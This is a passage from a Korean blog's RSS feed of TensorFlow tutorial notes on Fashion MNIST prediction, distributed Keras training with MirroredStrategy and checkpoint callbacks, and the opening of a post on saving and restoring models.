&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_33_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdGNJc/btqAQOxQgNU/RP1TkaOcvlBV0YM2UvK8g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdGNJc/btqAQOxQgNU/RP1TkaOcvlBV0YM2UvK8g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdGNJc/btqAQOxQgNU/RP1TkaOcvlBV0YM2UvK8g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdGNJc%2FbtqAQOxQgNU%2FRP1TkaOcvlBV0YM2UvK8g1%2Fimg.png&quot; data-filename=&quot;classification_33_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;186&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;i=12
plt.figure(figsize=(6,3))
plt.subplot(1,2,1)
plot_image(i, predictions, test_labels, test_images)
plt.subplot(1,2,2)
plot_value_array(i, predictions, test_labels)
plt.show()&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_34_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;186&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dPG4z3/btqAPc0hKWf/M1cVzmtxARFQdHuA4mNnuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dPG4z3/btqAPc0hKWf/M1cVzmtxARFQdHuA4mNnuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dPG4z3/btqAPc0hKWf/M1cVzmtxARFQdHuA4mNnuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdPG4z3%2FbtqAPc0hKWf%2FM1cVzmtxARFQdHuA4mNnuk%2Fimg.png&quot; data-filename=&quot;classification_34_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;186&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;num_rows = 5
num_cols = 3

num_images = num_rows*num_cols

plt.figure(figsize=(2*2*num_cols, 2*num_rows))
for i in range(num_images):
  plt.subplot(num_rows, 2*num_cols, 2*i+1)
  plot_image(i, predictions, test_labels, test_images)
  plt.subplot(num_rows, 2*num_cols, 2*i+2)
  plot_value_array(i, predictions, test_labels)
plt.show()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_35_0.png&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;572&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/u46bk/btqASy8xCGg/NBWQqePSuYBsUxO4gHFXK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/u46bk/btqASy8xCGg/NBWQqePSuYBsUxO4gHFXK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/u46bk/btqASy8xCGg/NBWQqePSuYBsUxO4gHFXK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fu46bk%2FbtqASy8xCGg%2FNBWQqePSuYBsUxO4gHFXK1%2Fimg.png&quot; data-filename=&quot;classification_35_0.png&quot; data-origin-width=&quot;707&quot; data-origin-height=&quot;572&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&lt;b&gt;마지막 모델을 사용하여 한 이미지에 대한 예측을 만듦&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;img = test_images[0]
print(img.shape)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(28, 28)&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;tf.keras 모델은 한번에 샘플의 묶음 또는 배치(batch)로 예측을 만드는데 최적화 되어 있음&lt;br /&gt;(하나의 이미지를 사용할 때도 2차원 배열로 만들어야 함)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;img = (np.expand_dims(img, 0))
print(img.shape)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(1, 28, 28)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;stylus&quot;&gt;&lt;code&gt;predictions_single = model.predict(img)
print(predictions_single.shape)
print(predictions_single)&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;(1, 10)
[[5.4779186e-05 1.9705663e-08 4.5254851e-08 1.0074039e-08 1.4064381e-07
  3.9456934e-03 1.5197660e-06 9.9437140e-02 1.1629446e-06 8.9655954e-01]]&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;plot_value_array(0, predictions_single, test_labels)
_ = plt.xticks(range(10), class_names, rotation=45)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;classification_41_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dgZaxG/btqAOIrB2Vy/F3I8firV4qy9WrFy6Ykke0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dgZaxG/btqAOIrB2Vy/F3I8firV4qy9WrFy6Ykke0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dgZaxG/btqAOIrB2Vy/F3I8firV4qy9WrFy6Ykke0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdgZaxG%2FbtqAOIrB2Vy%2FF3I8firV4qy9WrFy6Ykke0%2Fimg.png&quot; data-filename=&quot;classification_41_0.png&quot; data-origin-width=&quot;352&quot; data-origin-height=&quot;283&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;np.argmax(predictions_single[0])&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;lsl&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/pre&gt;</description>
      <category>AI&amp;amp;BigData/TensorFlow2.0</category>
      <category>keras classification</category>
      <category>keras분류</category>
      <category>손실함수</category>
      <category>옵티마이저</category>
      <category>지표</category>
      <category>패션 MNIST</category>
      <category>패션 MNIST분류</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/238</guid>
      <comments>https://eunguru.tistory.com/238#entry238comment</comments>
      <pubDate>Fri, 3 Jan 2020 10:17:42 +0900</pubDate>
    </item>
    <item>
      <title>TensorFlow Core Tutorials - 케라스를 사용한 분산 훈련</title>
      <link>https://eunguru.tistory.com/237</link>
      <description>&lt;h2&gt;케라스를 사용한 분산 훈련&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/tutorials/distribute/keras&quot;&gt;튜토리얼바로가기&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;개요&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/distribute/Strategy&quot;&gt;&lt;code&gt;tf.distribute.Strategy&lt;/code&gt;&lt;/a&gt;: 훈련을 여러 처리 장치들로 분산시키는 것을 추상화 한것&lt;ul&gt;
&lt;li&gt;기존의 모델이나 훈련 코드를 조금만 바꾸어 분산훈련을 할 수 있게 하는 것&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tf.distribute.MirroredStrategy&lt;/code&gt;를 사용: 동기화된 훈련 방식을 활용하여 한 장비에 있는 여러개의 GPU로 그래프 내 복제를 수행&lt;ul&gt;
&lt;li&gt;모델의 모든 변수를 각 프로세서에 복사&lt;/li&gt;
&lt;li&gt;각 프로세서의 그래디언트를 올 리듀스(all-reduce)를 사용하여 모음&lt;/li&gt;
&lt;li&gt;모아서 계산한 값을 각 프로세서의 모델 복사본에 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/guide/distributed_training&quot;&gt;참고 - 다른 분산 전략 가이드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;필요한 패키지 가져오기&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;try:
  %tensorflow_version 2.x
except Exception:
  pass&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from __future__ import absolute_import, division, print_function, unicode_literals

import tensorflow_datasets as tfds
import tensorflow as tf

tfds.disable_progress_bar()

import os&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;데이터셋 다운로드&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;MNIST 데이터셋을 &lt;code&gt;TensorFlow Datasets&lt;/code&gt;에서 다운로드&lt;ul&gt;
&lt;li&gt;tf.data 형식을 반환&lt;/li&gt;
&lt;li&gt;with_info=True로 설정: 전체 데이터에 대한 메타정보(훈련과 테스트 샘플수 등 정보)로 함께 불러옴&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;datasets, info = tfds.load(name=&amp;#39;mnist&amp;#39;, with_info=True, as_supervised=True)
mnist_train, mnist_test = datasets[&amp;#39;train&amp;#39;], datasets[&amp;#39;test&amp;#39;]&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 메타데이터 출력
info&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;tfds.core.DatasetInfo(
    name=&amp;#39;mnist&amp;#39;,
    version=1.0.0,
    description=&amp;#39;The MNIST database of handwritten digits.&amp;#39;,
    homepage=&amp;#39;http://yann.lecun.com/exdb/mnist/&amp;#39;,
    features=FeaturesDict({
        &amp;#39;image&amp;#39;: Image(shape=(28, 28, 1), dtype=tf.uint8),
        &amp;#39;label&amp;#39;: ClassLabel(shape=(), dtype=tf.int64, num_classes=10),
    }),
    total_num_examples=70000,
    splits={
        &amp;#39;test&amp;#39;: 10000,
        &amp;#39;train&amp;#39;: 60000,
    },
    supervised_keys=(&amp;#39;image&amp;#39;, &amp;#39;label&amp;#39;),
    citation=&amp;quot;&amp;quot;&amp;quot;@article{lecun2010mnist,
      title={MNIST handwritten digit database},
      author={LeCun, Yann and Cortes, Corinna and Burges, CJ},
      journal={ATT Labs [Online]. Available: http://yann. lecun. com/exdb/mnist},
      volume={2},
      year={2010}
    }&amp;quot;&amp;quot;&amp;quot;,
    redistribution_info=,
)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;분산 전략 정의하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;MirroredStrategy&lt;/code&gt;객체: 분산과 관련된 처리, 컨텍스트 관리자 제공&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/distribute/MirroredStrategy#scope&quot;&gt;&lt;code&gt;tf.distribute.MirroredStrategy.scope&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;strategy = tf.distribute.MirroredStrategy()&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;INFO:tensorflow:Using MirroredStrategy with devices (&amp;#39;/job:localhost/replica:0/task:0/device:GPU:0&amp;#39;,)


INFO:tensorflow:Using MirroredStrategy with devices (&amp;#39;/job:localhost/replica:0/task:0/device:GPU:0&amp;#39;,)&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;print(&amp;#39;장치의 수: {}&amp;#39;.format(strategy.num_replicas_in_sync))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;장치의 수: 1&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;입력 파이프라인 구성하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;다중 GPU로 모델을 훈련할 때는 배치크기를 늘려야 컴퓨팅 자원을 효과적으로 사용가능&lt;ul&gt;
&lt;li&gt;기본: GPU 메모리에 맞춰 가능한 큰 배치 크기 사용, 학습률 조정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 데이터셋 내 샘플의 수
print(info.splits.total_num_examples)

num_train_examples = info.splits[&amp;#39;train&amp;#39;].num_examples
num_test_examples = info.splits[&amp;#39;test&amp;#39;].num_examples

print(num_train_examples, num_test_examples)

BUFFER_SIZE = 10000

BATCH_SIZE_PER_REPLICA = 64
BATCH_SIZE = BATCH_SIZE_PER_REPLICA * strategy.num_replicas_in_sync

print(&amp;#39;BATCH_SIZE: {}&amp;#39;.format(BATCH_SIZE))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;70000
60000 10000
BATCH_SIZE: 64&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;픽셀의 값이 0~255 사이, 0-1범위로 정규화 필요&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;def scale(image, label):
  image = tf.cast(image, tf.float32)
  image /= 255

  return image, label&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;훈련 데이터 순서를 섞고 훈련을 위해 배치로 묶음&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;train_dataset = mnist_train.map(scale).shuffle(BATCH_SIZE).batch(BATCH_SIZE)
eval_dataset = mnist_test.map(scale).batch(BATCH_SIZE)&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;모델 만들기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strategy.scope&lt;/code&gt;컨텍스트 안에서 케라스 모델을 만들고 컵파일 함&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;with strategy.scope():
  model = tf.keras.Sequential([
                               tf.keras.layers.Conv2D(32, 3, activation=&amp;#39;relu&amp;#39;, input_shape=(28, 28, 1)),
                               tf.keras.layers.MaxPool2D(),
                               tf.keras.layers.Flatten(),
                               tf.keras.layers.Dense(64, activation=&amp;#39;relu&amp;#39;),
                               tf.keras.layers.Dense(10, activation=&amp;#39;softmax&amp;#39;)
  ])

  model.compile(loss=&amp;#39;sparse_categorical_crossentropy&amp;#39;,
                optimizer=tf.keras.optimizers.Adam(),
                metrics=[&amp;#39;accuracy&amp;#39;])&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;콜백 정의하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;텐서보드(TensorBoard): 텐서보드용 로그를 남김, 텐서보드에서 그래프를 그릴 수 있게 해줌&lt;/li&gt;
&lt;li&gt;모델 체크포인트(Checkpoint): 에포크가 끝난 후 모델을 저장&lt;/li&gt;
&lt;li&gt;학습률 스케줄러: 에포크 혹은 배치가 끝난 후 학습률을 바꿈&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 체크포인트를 저장할 디렉토리
checkpoint_dir = &amp;#39;./training_checkpoints&amp;#39;

# 체크포인트 파일의 이름
checkpoint_prefix = os.path.join(checkpoint_dir, &amp;#39;ckpt_{epoch}&amp;#39;)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 학습률을 점점 줄이기 위한 함수
# 필요한 함수를 직접 정의해서 사용가능
def decay(epoch):
  if epoch &amp;lt; 3:
    return 1e-3
  elif epoch &amp;gt;=3 and epoch &amp;lt; 7:
    return 1e-4
  else:
    return 1e-5&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# epoch가 끝날 때마다 학습률을 출력하는 콜백
class PrintLR(tf.keras.callbacks.Callback):
  def on_epoch_end(self, epoch, logs=None):
    print(&amp;#39;\n에포크 {}의 학습률은 {}입니다.&amp;#39;.format(epoch+1, model.optimizer.lr.numpy()))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;callbacks = [
             tf.keras.callbacks.TensorBoard(log_dir=&amp;#39;./logs&amp;#39;),
             tf.keras.callbacks.ModelCheckpoint(filepath=checkpoint_prefix,
                                                save_weights_only=True),
             tf.keras.callbacks.LearningRateScheduler(decay),
             PrintLR()
]&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;훈련과 평가&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;model.fit(train_dataset, epochs=12, callbacks=callbacks)&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Epoch 1/12
    938/Unknown - 18s 19ms/step - loss: 0.1962 - accuracy: 0.9429
에포크 1의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 18s 19ms/step - loss: 0.1962 - accuracy: 0.9429
Epoch 2/12
937/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0629 - accuracy: 0.9814
에포크 2의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0629 - accuracy: 0.9814
Epoch 3/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0429 - accuracy: 0.9874
에포크 3의 학습률은 0.0010000000474974513입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0430 - accuracy: 0.9874
Epoch 4/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0241 - accuracy: 0.9934
에포크 4의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0240 - accuracy: 0.9934
Epoch 5/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0206 - accuracy: 0.9948
에포크 5의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0206 - accuracy: 0.9948
Epoch 6/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0188 - accuracy: 0.9955
에포크 6의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 13s 13ms/step - loss: 0.0187 - accuracy: 0.9955
Epoch 7/12
935/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0172 - accuracy: 0.9961
에포크 7의 학습률은 9.999999747378752e-05입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0172 - accuracy: 0.9961
Epoch 8/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0148 - accuracy: 0.9967
에포크 8의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0148 - accuracy: 0.9967
Epoch 9/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0146 - accuracy: 0.9968
에포크 9의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0146 - accuracy: 0.9968
Epoch 10/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0144 - accuracy: 0.9968
에포크 10의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0144 - accuracy: 0.9968
Epoch 11/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0142 - accuracy: 0.9969
에포크 11의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 12ms/step - loss: 0.0142 - accuracy: 0.9969
Epoch 12/12
936/938 [============================&amp;gt;.] - ETA: 0s - loss: 0.0140 - accuracy: 0.9969
에포크 12의 학습률은 9.999999747378752e-06입니다.
938/938 [==============================] - 12s 13ms/step - loss: 0.0140 - accuracy: 0.9969





&amp;lt;tensorflow.python.keras.callbacks.History at 0x7f1d34000c50&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 체크포인트 디렉터리 확인하기
!ls {checkpoint_dir}&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;checkpoint             ckpt_4.data-00000-of-00002
ckpt_10.data-00000-of-00002  ckpt_4.data-00001-of-00002
ckpt_10.data-00001-of-00002  ckpt_4.index
ckpt_10.index             ckpt_5.data-00000-of-00002
ckpt_11.data-00000-of-00002  ckpt_5.data-00001-of-00002
ckpt_11.data-00001-of-00002  ckpt_5.index
ckpt_11.index             ckpt_6.data-00000-of-00002
ckpt_12.data-00000-of-00002  ckpt_6.data-00001-of-00002
ckpt_12.data-00001-of-00002  ckpt_6.index
ckpt_12.index             ckpt_7.data-00000-of-00002
ckpt_1.data-00000-of-00002   ckpt_7.data-00001-of-00002
ckpt_1.data-00001-of-00002   ckpt_7.index
ckpt_1.index             ckpt_8.data-00000-of-00002
ckpt_2.data-00000-of-00002   ckpt_8.data-00001-of-00002
ckpt_2.data-00001-of-00002   ckpt_8.index
ckpt_2.index             ckpt_9.data-00000-of-00002
ckpt_3.data-00000-of-00002   ckpt_9.data-00001-of-00002
ckpt_3.data-00001-of-00002   ckpt_9.index
ckpt_3.index&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;model.load_weights(tf.train.latest_checkpoint(checkpoint_dir))
eval_loss, eval_acc = model.evaluate(eval_dataset)

print(&amp;#39;\n평가 손실: {}, 평가 정확도: {}&amp;#39;.format(eval_loss, eval_acc))&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;    157/Unknown - 3s 20ms/step - loss: 0.0378 - accuracy: 0.9871
평가 손실: 0.037776678224067516, 평가 정확도: 0.9871000051498413&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 텐서보드 extension load 
%load_ext tensorboard&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;The tensorboard extension is already loaded. To reload it, use:
  %reload_ext tensorboard&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;%tensorboard --logdir logs&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Output hidden; open in https://colab.research.google.com to view.&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZG1Ai/btqAK3WHj7t/akkgYvIcXumkxGJHXNVGV0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZG1Ai/btqAK3WHj7t/akkgYvIcXumkxGJHXNVGV0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZG1Ai/btqAK3WHj7t/akkgYvIcXumkxGJHXNVGV0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZG1Ai%2FbtqAK3WHj7t%2FakkgYvIcXumkxGJHXNVGV0%2Fimg.png&quot; width=&quot;100%&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;!ls -sh ./logs&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;total 4.0K
4.0K train&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;SaveModel로 내보내기(지원중단됨)&lt;/h3&gt;</description>
      <category>AI&amp;amp;BigData/TensorFlow2.0</category>
      <category>colab에서 tensorboard화면보기</category>
      <category>strategy.scope()</category>
      <category>tf.distribute.MirroredStrategy.scope</category>
      <category>모델 체크포인트 콜백정의</category>
      <category>케라스분산처리</category>
      <category>텐서보드 콜백정의</category>
      <category>학습률 스케줄러 콜백정의</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/237</guid>
      <comments>https://eunguru.tistory.com/237#entry237comment</comments>
      <pubDate>Sun, 29 Dec 2019 02:28:32 +0900</pubDate>
    </item>
    <item>
      <title>TensorFlow Core Tutorials - 모델 저장과 복원</title>
      <link>https://eunguru.tistory.com/236</link>
      <description>&lt;h2&gt;모델 저장과 복원&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/tutorials/keras/save_and_load&quot;&gt;튜토리얼바로가기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;훈련하는 도중이나 훈련이 끝난후 모델을 저장할 수 있음&lt;ul&gt;
&lt;li&gt;모델을 중지된 지점부터 다시 훈련할 수 있음&lt;/li&gt;
&lt;li&gt;모델저장시 모델 공유가능, 작업재현 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;연구한 모델과 기법 공개시 &lt;strong&gt;모델을 만드는 코드, 모델의 훈련된 가중치 또는 파라미터&lt;/strong&gt; 등을 제공&lt;ul&gt;
&lt;li&gt;모델의 작동방식 이해와 새로운 데이터로 모델을 실험하는데 도움이 됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;저장방식: 사용하는 API에 따라 다름, 현재 문서에서는 tf.kera 고수준 API사용&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/guide/saved_model&quot;&gt;다른방법참조-저장과 복원&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.tensorflow.org/guide/eager#object-based_saving&quot;&gt;다른방법참조-저장하기&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;설정&lt;/h3&gt;
&lt;p&gt;설치와 임포트&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;필요한 라이브러리 설치(설치가 안되어 있을경우에는 &lt;code&gt;pip install -q h5py pyyaml&lt;/code&gt;을 통해 라이브러리 설치&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;try:
  # Colab only
  %tensorflow_version 2.x
except Exception:
  pass&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;!pip show h5py pyyaml&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Name: h5py
Version: 2.10.0
Summary: Read and write HDF5 files from Python
Home-page: http://www.h5py.org
Author: Andrew Collette
Author-email: andrew.collette@gmail.com
License: BSD
Location: /tensorflow-2.1.0/python3.6
Requires: numpy, six
Required-by: Keras-Applications, textgenrnn, tensor2tensor, pymc3, Keras, keras-vis
---
Name: PyYAML
Version: 3.13
Summary: YAML parser and emitter for Python
Home-page: http://pyyaml.org/wiki/PyYAML
Author: Kirill Simonov
Author-email: xi@resolvent.net
License: MIT
Location: /usr/local/lib/python3.6/dist-packages
Requires: 
Required-by: PyDrive, Keras, featuretools, fastai, distributed, coveralls, bokeh&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;strong&gt;예제 데이터셋 받기&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://yann.lecun.com/exdb/mnist/&quot;&gt;MNIST데이터셋&lt;/a&gt;으로 모델 훈련, 가중치 저장하는 예제 구현&lt;ul&gt;
&lt;li&gt;모델 실행속도를 빠르게 하기 위해 처음 10,000개만 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;from __future__ import absolute_import, division, print_function, unicode_literals

import os

import tensorflow as tf
from tensorflow import keras

tf.__version__&lt;/code&gt;&lt;/pre&gt;
